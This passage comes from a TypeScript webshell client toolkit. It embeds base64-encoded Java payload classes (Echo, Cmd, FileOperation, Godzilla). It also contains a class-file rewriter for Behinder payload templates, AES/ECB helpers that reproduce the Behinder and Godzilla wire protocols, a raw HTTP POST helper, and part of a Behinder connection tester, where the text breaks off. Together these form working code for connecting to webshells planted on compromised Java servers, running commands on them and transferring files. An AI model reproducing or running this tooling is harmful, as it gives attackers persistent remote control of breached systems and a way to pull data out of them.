\"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\" +\n \"ED1ULRUKhAoBED1UpwBHKhUHhAcBMxEA/342DC0VCoQKARkGFQsHeBA/fhUMB3qANJFULRUKhAoBGQYVDAV4ED9+NJFUFQWZAAwt\" +\n \"FQqECgEQPVS7AHVZLbcA2LAAAAACACQAAACiACgAAAUOAAIFDwAFBRAAEAURABMFEgAWBRMAGwUUAB4FFQAnBRYALQUXAD0FGABF\" +\n \"BRkASAUaAEsFGwBXBRwAYgUdAI0FHgCgBR8AswUgAMYFIQDWBRwA3QUjAOgFJADvBSUA8wUaAPoFJwEABSgBDQUpARwFKgEiBSsB\" +\n \"NAUsATkFLQFCBS4BSwUwAU4FMQFbBTIBcgUzAYQFNAGJBTUBkgU5ACUAAAC2ABIAAAGbBUUADwAAAAIBmQVGAPwAAQAFAZYFRwD8\" +\n \"AAIAEAGLBUgADwADABMBiAVJAPwABAAWAYUFSgE/AAUAGwGABUsABgAGAB4BfQVMAPwABwAnAXQFTQD8AAgALQFuBU4A/AAJAEgB\" +\n \"UwVPAPwACgBXAJwFUAD8AAsAWwCCBVEA/AAMAF8AfgVSAPwADQCNAEkFUwD8AA4A6AALBVQA/AAMAQ0AhQVVAPwACwFbADcFVgD8\" +\n \"AAwACQVXAWMAAQAhAAADCAAGAAwAAAGYKrYBzpoABwO8CLAqtgB0TAM9K74+AzYEHRxkNgUrHQRkMxA9oAAThAQBKx0FZDMQPaAA\" +\n \"BoQEARUEmgASFQUGfpkACwcVBQZ+ZDYEBhUFBmAHbGgVBGS8CDoGEQEAvAo6BxkHArgFWAM2CKcAERkHsgAiFQg0FQhPhAgBFQiy\" +\n \"ACK+of/sGQcQPRD+TwM2CAM2CRASNgqnAIorHIQCATMRAP9+NgsZBxULLlk2C5wAMxULEP6gACwVChAGoAATHB2fABUrHIQCATMQ\" +\n \"PaAAChUKEBKgAFO7BVtZEwVdtwVfvxUJFQsVCniANgmECvoVCpwAMRkGFQiECAEVCRAQepFUGQYVCIQIARUJEAh6kVQZBhUIhAgB\" +\n \"FQmRVBASNgoDNgkcHaH/dxUKEAagABQZBhUIhAgBFQkQEHqRVKcAORUKmgAiGQYVCIQIARUJEBB6kVQZBhUIhAgBFQkQCHqRVKcA\" +\n \"FRUKEAygAA67BVtZEwVgtwVfvxUIGQa+nwAeFQi8CDoLGQYDGQsDGQa+FQi4BIy4ApQZCzoGGQawAAAAAgAkAAAAygAyAAAFPQAH\" +\n \"BT4ACwVAABAFQQASBUIAFQVDABgFRAAdBUUAJwVGACoFRwA0BUgANwVLAEMFTABLBU4AWgVPAGEFUABnBVEAbQVSAHgFUQCEBVQA\" +\n \"iwVVAI4FVgCRBVcAlQVYAJgFWQCkBVoArwVbALYFXADUBV0A3wViAOkFYwDsBWQA8QVlAP8FZgENBWcBGAVoARwFaQEfBVgBJAVt\" +\n \"ASsFbgE5BW8BQQVwAU8FcQFdBXIBZwV0AXIFdgF6BXcBgAV4AZEFeQGVBXsAJQAAAI4ADgAAAZgFYgCpAAAAEAGIBUUADwABABIB\" +\n \"hgVMAPwAAgAVAYMFTgD8AAMAGAGABWMA/AAEAB0BewD7APwABQBaAT4FSAAPAAYAYQE3BUsFZAAHAGoAGgHgAPwACACOAQoFTwD8\" +\n \"AAgAkQEHBVMA/AAJAJUBAwVlAPwACgCkAHsAOwD8AAsBgAAVBJQADwALAAEFZgAAAAIFZw==\";\n\nexport const ECHO_CLASS_BYTES = Buffer.from(ECHO_CLASS_B64, 'base64');\nexport const CMD_CLASS_BYTES = Buffer.from(CMD_CLASS_B64, 'base64');\nexport const FILE_OPERATION_CLASS_BYTES = Buffer.from(FILE_OPERATION_CLASS_B64, 'base64');\nexport const GODZILLA_PAYLOAD_BYTES = Buffer.from(GODZILLA_PAYLOAD_B64, 'base64');\n","/**\n * Minimal Java class-file rewriter.\n *\n * Behinder sends \"payload template\" classes whose static String fields are\n * filled client-side before upload (its `Params.getParamedClass` uses ASM to\n * set a `ConstantValue` on the field). We only need that one feature: set a\n * static String field's ConstantValue, leaving everything else byte-identical.\n */\n\nconst CONSTANT_VALUE = \"ConstantValue\";\n\nclass Cursor {\n constructor(readonly buf: Buffer) {}\n u1(off: number): number {\n return this.buf.readUInt8(off);\n }\n u2(off: number): number {\n return this.buf.readUInt16BE(off);\n }\n}\n\ninterface PoolInfo {\n count: number;\n /** offset just past the last pool entry */\n end: number;\n utf8: Map<number, string>;\n constantValueNameIndex: number; // 0 = absent\n}\n\nfunction readPool(cur: Cursor): PoolInfo {\n const buf = cur.buf;\n const count = cur.u2(8);\n const utf8 = new Map<number, string>();\n let constantValueNameIndex = 0;\n let off = 10;\n for (let i = 1; i < count; i++) {\n const tag = cur.u1(off);\n switch (tag) {\n case 1: {\n const len = cur.u2(off + 1);\n const value = decodeModifiedUtf8(buf, off + 3, off + 3 + len);\n utf8.set(i, value);\n if (value === CONSTANT_VALUE) constantValueNameIndex = i;\n off += 3 + len;\n break;\n }\n case 3: // Integer\n case 4: // Float\n case 9: // Fieldref\n case 10: // Methodref\n case 11: // InterfaceMethodref\n case 12: // NameAndType\n case 17: // Dynamic\n case 18: // InvokeDynamic\n off += 5;\n break;\n case 5: // Long — two slots\n case 6: // Double — two slots\n off += 9;\n i++;\n break;\n case 7: // Class\n case 8: // String\n case 16: // MethodType\n case 19: // Module\n case 20: // Package\n off += 3;\n break;\n case 15: // MethodHandle\n off += 4;\n break;\n default:\n throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);\n }\n }\n return { count, end: off, utf8, constantValueNameIndex };\n}\n\n/**\n * Decode a CONSTANT_Utf8 payload (modified UTF-8): 1/2/3-byte forms,\n * surrogate code units reassemble into supplementary characters, C0 80 is\n * U+0000. Anything else decodes to U+FFFD without aborting the walk.\n */\nfunction decodeModifiedUtf8(buf: Buffer, start: number, end: number): string {\n let out = \"\";\n let i = start;\n while (i < end) {\n const b = buf[i]!;\n if (b < 0x80) {\n out += String.fromCharCode(b);\n i += 1;\n } else if ((b & 0xe0) === 0xc0 && i + 1 < end) {\n out += String.fromCharCode(((b & 0x1f) << 6) | (buf[i + 1]! & 0x3f));\n i += 2;\n } else if ((b & 0xf0) === 0xe0 && i + 2 < end) {\n out += String.fromCharCode(\n ((b & 0x0f) << 12) | ((buf[i + 1]! & 0x3f) << 6) | (buf[i + 2]! & 0x3f),\n );\n i += 3;\n } else {\n out += \"�\";\n i += 1;\n }\n }\n return out;\n}\n\nfunction encodeUtf8Entry(value: string): Buffer {\n const data = encodeModifiedUtf8(value);\n const out = Buffer.alloc(3);\n out.writeUInt8(1, 0);\n out.writeUInt16BE(data.length, 1);\n return Buffer.concat([out, data]);\n}\n\n/**\n * The class-file CONSTANT_Utf8 format is *modified* UTF-8, not plain UTF-8:\n * U+0000 is written as C0 80, and characters above the BMP are written as\n * UTF-16 surrogate pairs of 3-byte sequences (plain 4-byte UTF-8 is invalid\n * and makes the JVM reject the class). Iterating UTF-16 code units gives us\n * exactly that encoding.\n */\nfunction encodeModifiedUtf8(value: string): Buffer {\n const bytes: number[] = [];\n for (let i = 0; i < value.length; i++) {\n const code = value.charCodeAt(i);\n if (code >= 0x01 && code <= 0x7f) {\n bytes.push(code);\n } else if (code <= 0x07ff) {\n bytes.push(0xc0 | (code >> 6), 0x80 | (code & 0x3f));\n } else {\n bytes.push(0xe0 | (code >> 12), 0x80 | ((code >> 6) & 0x3f), 0x80 | (code & 0x3f));\n }\n }\n return Buffer.from(bytes);\n}\n\n/**\n * Return a copy of `classBytes` where the static String field `fieldName`\n * carries `ConstantValue = value` (added or replaced).\n */\nexport function injectStringConstant(\n classBytes: Buffer,\n fieldName: string,\n value: string,\n): Buffer {\n const cur = new Cursor(classBytes);\n if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {\n throw new Error(\"not a Java class file\");\n }\n const pool = readPool(cur);\n\n // walk to the fields section\n let off = pool.end;\n off += 6; // access_flags, this_class, super_class\n const interfacesCount = cur.u2(off);\n off += 2 + interfacesCount * 2;\n const fieldsCount = cur.u2(off);\n off += 2;\n\n // new constant pool entries (appended at the end, so all existing\n // references keep working)\n const newEntries: Buffer[] = [];\n let nextIndex = pool.count;\n\n let cvNameIndex = pool.constantValueNameIndex;\n if (cvNameIndex === 0) {\n newEntries.push(encodeUtf8Entry(CONSTANT_VALUE));\n cvNameIndex = nextIndex++;\n }\n newEntries.push(encodeUtf8Entry(value));\n const valueUtf8Index = nextIndex++;\n const stringEntry = Buffer.alloc(3);\n stringEntry.writeUInt8(8, 0); // String tag\n stringEntry.writeUInt16BE(valueUtf8Index, 1);\n newEntries.push(stringEntry);\n const valueStringIndex = nextIndex++;\n\n for (let f = 0; f < fieldsCount; f++) {\n const fieldStart = off;\n const nameIndex = cur.u2(off + 2);\n const descIndex = cur.u2(off + 4);\n const attrCountOff = off + 6;\n const attrCount = cur.u2(attrCountOff);\n off += 8;\n const name = pool.utf8.get(nameIndex);\n const desc = pool.utf8.get(descIndex);\n const isTarget = name === fieldName && desc === \"Ljava/lang/String;\";\n\n for (let a = 0; a < attrCount; a++) {\n const attrNameIndex = cur.u2(off);\n const attrLen = cur.buf.readUInt32BE(off + 2);\n if (\n isTarget &&\n pool.constantValueNameIndex !== 0 &&\n attrNameIndex === pool.constantValueNameIndex\n ) {\n // replace existing ConstantValue in place: [fieldStart..off+6) + new idx + rest\n const patched = Buffer.from(classBytes.subarray(off, off + 6 + attrLen));\n patched.writeUInt16BE(valueStringIndex, 6);\n return Buffer.concat([\n headWithNewPool(classBytes, pool, newEntries),\n classBytes.subarray(pool.end, off),\n patched,\n classBytes.subarray(off + 6 + attrLen),\n ]);\n }\n off += 6 + attrLen;\n }\n\n if (isTarget) {\n // append a new ConstantValue attribute to this field\n const newAttr = Buffer.alloc(8);\n newAttr.writeUInt16BE(cvNameIndex, 0);\n newAttr.writeUInt32BE(2, 2);\n newAttr.writeUInt16BE(valueStringIndex, 6);\n const fieldBytes = Buffer.from(classBytes.subarray(fieldStart, off));\n fieldBytes.writeUInt16BE(attrCount + 1, 6);\n return Buffer.concat([\n headWithNewPool(classBytes, pool, newEntries),\n classBytes.subarray(pool.end, fieldStart),\n fieldBytes,\n newAttr,\n classBytes.subarray(off),\n ]);\n }\n }\n throw new Error(`field ${fieldName} (Ljava/lang/String;) not found in class`);\n}\n\n/**\n * Read back a static String field's ConstantValue, or null when absent.\n * Mirrors the injection above; useful for verification and test harnesses.\n */\nexport function readStringConstant(classBytes: Buffer, fieldName: string): string | null {\n const cur = new Cursor(classBytes);\n if (cur.buf.readUInt32BE(0) !== 0xcafebabe) {\n throw new Error(\"not a Java class file\");\n }\n const pool = readPool(cur);\n const strings = new Map<number, number>();\n {\n let off = 10;\n for (let i = 1; i < pool.count; i++) {\n const tag = cur.u1(off);\n if (tag === 8) strings.set(i, cur.u2(off + 1));\n if (tag === 1) off += 3 + cur.u2(off + 1);\n else if ([3, 4, 9, 10, 11, 12, 17, 18].includes(tag)) off += 5;\n else if (tag === 5 || tag === 6) {\n off += 9;\n i++;\n } else if ([7, 8, 16, 19, 20].includes(tag)) off += 3;\n else if (tag === 15) off += 4;\n else throw new Error(`unsupported constant pool tag ${tag} at index ${i}`);\n }\n }\n\n let off = pool.end + 6;\n const interfacesCount = cur.u2(off);\n off += 2 + interfacesCount * 2;\n const fieldsCount = cur.u2(off);\n off += 2;\n for (let f = 0; f < fieldsCount; f++) {\n const name = pool.utf8.get(cur.u2(off + 2));\n const attrCount = cur.u2(off + 6);\n off += 8;\n for (let a = 0; a < attrCount; a++) {\n const attrNameIndex = cur.u2(off);\n const attrLen = cur.buf.readUInt32BE(off + 2);\n if (\n name === fieldName &&\n pool.constantValueNameIndex !== 0 &&\n attrNameIndex === pool.constantValueNameIndex\n ) {\n const utf8Index = strings.get(cur.u2(off + 6));\n return utf8Index === undefined ? null : (pool.utf8.get(utf8Index) ?? null);\n }\n off += 6 + attrLen;\n }\n }\n return null;\n}\n\n/** file head (through the pool) with patched pool count + appended entries */\nfunction headWithNewPool(classBytes: Buffer, pool: PoolInfo, newEntries: Buffer[]): Buffer {\n const head = Buffer.from(classBytes.subarray(0, pool.end));\n head.writeUInt16BE(pool.count + newEntries.length, 8);\n return Buffer.concat([head, ...newEntries]);\n}\n","/**\n * Crypto helpers shared by the webshell connection testers.\n *\n * All three tools (Behinder / Godzilla) use AES/ECB/PKCS5Padding with a\n * 16-byte key derived from an MD5 hex string — exactly what Java's\n * `Cipher.getInstance(\"AES\")` does. Node's `aes-128-ecb` with automatic\n * padding is wire-compatible with that.\n */\nimport { createCipheriv, createDecipheriv, createHash, randomBytes } from \"node:crypto\";\nimport { gunzipSync, gzipSync } from \"node:zlib\";\n\n/** Lowercase 32-char hex MD5, same as Java `functions.byteArrayToHex(md5(...))`. */\nexport function md5Hex(data: string | Buffer): string {\n return createHash(\"md5\").update(data).digest(\"hex\");\n}\n\n/** md5 hex truncated to 16 chars — the AES key derivation used by both tools. */\nexport function md5Key16(data: string): string {\n return md5Hex(data).slice(0, 16);\n}\n\n/** AES/ECB/PKCS5Padding encrypt. `key` is used as raw UTF-8 bytes (16 chars). */\nexport function aesEcbEncrypt(data: Buffer, key: string): Buffer {\n const cipher = createCipheriv(\"aes-128-ecb\", Buffer.from(key, \"utf8\"), null);\n return Buffer.concat([cipher.update(data), cipher.final()]);\n}\n\n/** AES/ECB/PKCS5Padding decrypt. Throws on bad padding (wrong key / garbage). */\nexport function aesEcbDecrypt(data: Buffer, key: string): Buffer {\n const decipher = createDecipheriv(\"aes-128-ecb\", Buffer.from(key, \"utf8\"), null);\n return Buffer.concat([decipher.update(data), decipher.final()]);\n}\n\nexport function gzip(data: Buffer): Buffer {\n return gzipSync(data);\n}\n\n/**\n * Godzilla's `functions.gzipD` behaviour: on gunzip failure it falls back to\n * the raw bytes when the input is small (< 200 bytes), otherwise it throws.\n */\nexport function gunzipLenient(data: Buffer): Buffer {\n if (data.length === 0) return data;\n try {\n return gunzipSync(data);\n } catch (err) {\n if (data.length < 200) return data;\n throw err;\n }\n}\n\n/** Base64url without padding (Java `Base64.getUrlEncoder().withoutPadding()`). */\nexport function base64UrlEncode(data: Buffer): string {\n return data\n .toString(\"base64\")\n .replaceAll(\"+\", \"-\")\n .replaceAll(\"/\", \"_\")\n .replace(/=+$/, \"\");\n}\n\nexport function base64UrlDecode(text: string): Buffer {\n let s = text.replaceAll(\"-\", \"+\").replaceAll(\"_\", \"/\");\n while (s.length % 4 !== 0) s += \"=\";\n return Buffer.from(s, \"base64\");\n}\n\nconst RANDOM_ALPHABET = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\";\n\n/** Random alphanumeric string, mirroring the tools' `getRandomString`. */\nexport function randomString(length: number): string {\n const raw = randomBytes(length);\n let out = \"\";\n for (let i = 0; i < length; i++) {\n out += RANDOM_ALPHABET[raw[i]! % RANDOM_ALPHABET.length];\n }\n return out;\n}\n","/**\n * Minimal raw-HTTP POST helper for the shell connection testers.\n *\n * Uses node:http/https directly instead of fetch because the testers need\n * exact control over the body bytes, access to raw Set-Cookie headers, an\n * optional insecure-TLS mode, and no automatic redirect following.\n */\nimport http from \"node:http\";\nimport https from \"node:https\";\n\nexport interface RawPostOptions {\n headers?: Record<string, string>;\n timeoutMs?: number;\n /** Skip TLS certificate verification (self-signed targets). */\n insecure?: boolean;\n}\n\nexport interface RawPostResult {\n status: number;\n headers: http.IncomingHttpHeaders;\n body: Buffer;\n durationMs: number;\n}\n\nexport class HttpRequestError extends Error {\n constructor(\n message: string,\n readonly url: string,\n override readonly cause?: unknown,\n ) {\n super(message);\n this.name = \"HttpRequestError\";\n }\n}\n\n/** POST `body` to `url`, return the raw response. Never follows redirects. */\nexport function postRaw(\n url: string,\n body: Buffer,\n options: RawPostOptions = {},\n): Promise<RawPostResult> {\n const { headers = {}, timeoutMs = 30_000, insecure = false } = options;\n let target: URL;\n try {\n target = new URL(url);\n } catch {\n return Promise.reject(new HttpRequestError(`invalid URL: ${url}`, url));\n }\n const isHttps = target.protocol === \"https:\";\n if (!isHttps && target.protocol !== \"http:\") {\n return Promise.reject(new HttpRequestError(`unsupported protocol: ${target.protocol}`, url));\n }\n\n // Opt-in proxying for traffic inspection (Burp & co.): set MEMPARTY_PROXY\n // e.g. http://127.0.0.1:8083. Deliberately NOT HTTP_PROXY — shell traffic\n // must never leak into a system-wide proxy by accident. http:// targets\n // only (absolute-URI request line); https:// still goes direct.\n let proxy: URL | null = null;\n if (!isHttps && process.env.MEMPARTY_PROXY) {\n try {\n proxy = new URL(process.env.MEMPARTY_PROXY);\n } catch {\n return Promise.reject(\n new HttpRequestError(`invalid MEMPARTY_PROXY: ${process.env.MEMPARTY_PROXY}`, url),\n );\n }\n }\n\n return new Promise<RawPostResult>((resolve, reject) => {\n const started = Date.now();\n const transport = isHttps ? https : http;\n const req = transport.request(\n {\n method: \"POST\",\n hostname: proxy ? proxy.hostname : target.hostname,\n port: proxy ? proxy.port || 8080 : target.port || (isHttps ? 443 : 80),\n path: proxy ? target.toString() : `${target.pathname}${target.search}`,\n // agent:false — never reuse a pooled socket. A shell server may close\n // the connection right after an empty response, and reusing such a\n // socket surfaces as a spurious ECONNRESET on the next probe.\n agent: false,\n headers: {\n \"Content-Length\": String(body.length),\n ...headers,\n },\n timeout: timeoutMs,\n ...(isHttps && insecure ? { rejectUnauthorized: false } : {}),\n },\n (res) => {\n const chunks: Buffer[] = [];\n res.on(\"data\", (chunk: Buffer) => chunks.push(chunk));\n res.on(\"end\", () =>\n resolve({\n status: res.statusCode ?? 0,\n headers: res.headers,\n body: Buffer.concat(chunks),\n durationMs: Date.now() - started,\n }),\n );\n res.on(\"error\", (err) => reject(new HttpRequestError(err.message, url, err)));\n },\n );\n req.on(\"timeout\", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));\n req.on(\"error\", (err) => reject(new HttpRequestError(err.message, url, err)));\n req.write(body);\n req.end();\n });\n}\n\n/** Extract cookie pairs (`name=value`) from a response's Set-Cookie headers. */\nexport function extractCookies(headers: http.IncomingHttpHeaders): string[] {\n const setCookie = headers[\"set-cookie\"];\n if (!setCookie) return [];\n return setCookie.map((line) => line.split(\";\", 1)[0]!.trim()).filter(Boolean);\n}\n","/** Shared types for the shell connection testers. */\n\n/**\n * Shell protocol name. Used to be a hardcoded union of the built-in tools;\n * now a free string — `src/connect/registry.ts` is the source of truth for\n * which protocols actually exist (built-ins + plugins like \"mimic\").\n */\nexport type ConnectTool = string;\n\nexport interface ConnectTestResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n /** Human-readable success detail (echo size, session id, protocol variant...). */\n detail?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface ExecResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n /** The command line as executed remotely. */\n command: string;\n /** Decoded remote stdout+stderr (present on success). */\n output?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface TransferResult {\n ok: boolean;\n tool: ConnectTool;\n url: string;\n direction: \"upload\" | \"download\";\n /** The remote file path as requested. */\n remotePath: string;\n /** Bytes transferred (present on success). */\n bytes?: number;\n /** Extra success note (e.g. \"hash verification unavailable\"). */\n detail?: string;\n /** Human-readable failure reason. */\n error?: string;\n durationMs: number;\n}\n\nexport interface DownloadResult extends TransferResult {\n /** File contents (present on success). */\n data?: Buffer;\n}\n\nexport interface CommonConnectOptions {\n /**\n * MemShellParty shells are gated by a header check:\n * the request must carry `headerName` containing `headerValue`\n * (both are reported by `memparty gen --json` as shellToolConfig).\n */\n headerName?: string;\n headerValue?: string;\n /** Extra request headers (already merged with the gate header). */\n extraHeaders?: Record<string, string>;\n timeoutMs?: number;\n insecure?: boolean;\n}\n\n/** Build the request headers for a tester: extra headers + gate header. */\nexport function buildHeaders(\n base: Record<string, string>,\n options: CommonConnectOptions,\n): Record<string, string> {\n const headers = { ...base, ...options.extraHeaders };\n if (options.headerValue) {\n headers[options.headerName || \"User-Agent\"] = options.headerValue;\n }\n return headers;\n}\n","/**\n * Behinder (冰蝎) connection test — Java/JSP protocol.\n *\n * Mirrors the Behinder client's `doConnect()`:\n * 1. inject a random string into the Echo payload class template\n * (`Params.getParamedClass` sets the `content` field's ConstantValue)\n * 2. POST `base64(AES/ECB/PKCS5(classBytes, md5(pass)[0:16]))`\n * 3. the shell defines + runs the class; the Echo payload answers with\n * `base64(AES({\"status\":b64,\"msg\":b64}))` — some Behinder variants answer\n * raw AES bytes and/or append `magicNum` random trailing bytes, so the\n * parser tries every combination and validates the JSON envelope\n * 4. connected iff status == \"success\" and msg echoes the random string\n */\nimport { CMD_CLASS_BYTES, ECHO_CLASS_BYTES, FILE_OPERATION_CLASS_BYTES } from \"./assets.js\";\nimport { injectStringConstant } from \"./classfile.js\";\nimport { aesEcbDecrypt, aesEcbEncrypt, md5Hex, md5Key16, randomString } from \"./crypto.js\";\nimport { extractCookies, postRaw } from \"./http.js\";\nimport {\n buildHeaders,\n type CommonConnectOptions,\n type ConnectTestResult,\n type DownloadResult,\n type ExecResult,\n type TransferResult,\n} from \"./types.js\";\n\nexport interface BehinderConnectOptions extends CommonConnectOptions {\n /** Request body encoding. Default: try base64, then raw AES bytes. */\n requestEncoding?: \"base64\" | \"raw\";\n}\n\nconst BASE64_RE = /^[A-Za-z0-9+/=\\r\\n]+$/;\n\ninterface EchoEnvelope {\n status: string;\n msg: string;\n}\n\n/** Try to turn a response body into the decrypted echo envelope. */\nfunction parseEchoResponse(body: Buffer, key: string): EchoEnvelope | null {\n const magic = parseInt(key.slice(0, 2), 16) % 16;\n const trimmed = trimBytes(body);\n\n const candidates: Buffer[] = [];\n const push = (b: Buffer) => {\n if (b.length > 0 && b.length % 16 === 0 && !candidates.some((c) => c.equals(b))) {\n candidates.push(b);\n }\n };\n\n if (BASE64_RE.test(trimmed.toString(\"latin1\"))) {\n let decoded: Buffer | null = null;\n try {\n decoded = Buffer.from(trimmed.toString(\"latin1\"), \"base64\");\n } catch {\n decoded = null;\n }\n if (decoded) {\n push(decoded); // v3 / MemShellParty: base64(AES(json))\n if (decoded.length > magic) push(decoded.subarray(0, decoded.length - magic));\n }\n }\n if (body.length > magic) push(body.subarray(0, body.length - magic)); // raw AES + magic suffix\n push(body); // raw AES\n\n for (const candidate of candidates) {\n try {\n const plain = aesEcbDecrypt(candidate, key).toString(\"utf8\");\n const obj: unknown = JSON.parse(plain);\n if (\n obj !== null &&\n typeof obj === \"object\" &&\n typeof (obj as Record<string, unknown>).status === \"string\" &&\n typeof (obj as Record<string, unknown>).msg === \"string\"\n ) {\n const rec = obj as { status: string; msg: string };\n return {\n status: Buffer.from(rec.status, \"base64\").toString(\"utf8\"),\n msg: Buffer.from(rec.msg, \"base64\").toString(\"utf8\"),\n };\n }\n } catch {\n // not the right candidate — try the next one\n }\n }\n return null;\n}\n\nfunction trimBytes(buf: Buffer): Buffer {\n let start = 0;\n let end = buf.length;\n const isWs = (b: number) => b === 0x20 || b === 0x09 || b === 0x0a || b === 0x0d || b === 0x00;\n while (start < end && isWs(buf[start]!)) start++;\n while (end > start && isWs(buf[end - 1]!)) end--;\n return buf.subarray(start, end);\n}\n\nfunction excerpt(body: Buffer): string {\n const text = body\n .toString(\"latin1\")\n .replace(/[^\\x20-\\x7e]+/g, \" \")\n .trim();\n return text.length > 160 ? `${text.slice(0, 160)}...` : text;\n}\n\nexport async function testBehinder(\n url: string,\n pass: string,\n options: BehinderConnectOptions = {},\n): Promise<ConnectTestResult> {\n const started = Date.now();\n const key = md5Key16(pass);\n const content = randomString(48 + Math.floor(Math.random() * 48));\n const classBytes = injectStringConstant(ECHO_CLASS_BYTES, \"content\", content);\n\n const encodings: Array<\"base64\" | \"raw\"> =\n options.requestEncoding === \"raw\"\n ? [\"raw\"]\n : options.requestEncoding === \"base64\"\n ? [\"base64\"]\n : [\"base64\", \"raw\"];\n\n const failures: string[] = [];\n for (const encoding of encodings) {\n const encrypted = aesEcbEncrypt(classBytes, key);\n const body = encoding === \"base64\" ? Buffer.from(encrypted.toString(\"base64\")) : encrypted;\n let response;\n try {\n response = await postRaw(url, body, {\n headers: buildHeaders({ \"Content-Type\": \"application/octet-stream\" }, options),\n timeoutMs: options.timeoutMs,\n insecure: options.insecure,\n });\n } catch (err) {\n return {\n ok: false,\n tool: \"behinder\",\n url,\n error: err instanceof Error ? err.message : String(err),\n durationMs: Date.now() - started,\n };\n }\n\n const envelope = parseEchoResponse(response.body, key);\n if (envelope) {\n if (envelope.status === \"success\" && envelope.msg === content) {\n return {\n ok: true,\n tool: \"behinder\",\n url,\n detail: `echo verified (${content.length} random bytes, ${encoding} request, HTTP ${response.status})`,\n durationMs: Date.now() - started,\n };\n }\n failures.push(\n `${encoding}: decrypted but unexpected envelope (status=${JSON.stringify(envelope.status)})`,\n );\n } else {\n failures.push(\n `${encoding}: HTTP ${response.status}, response not a valid Behinder 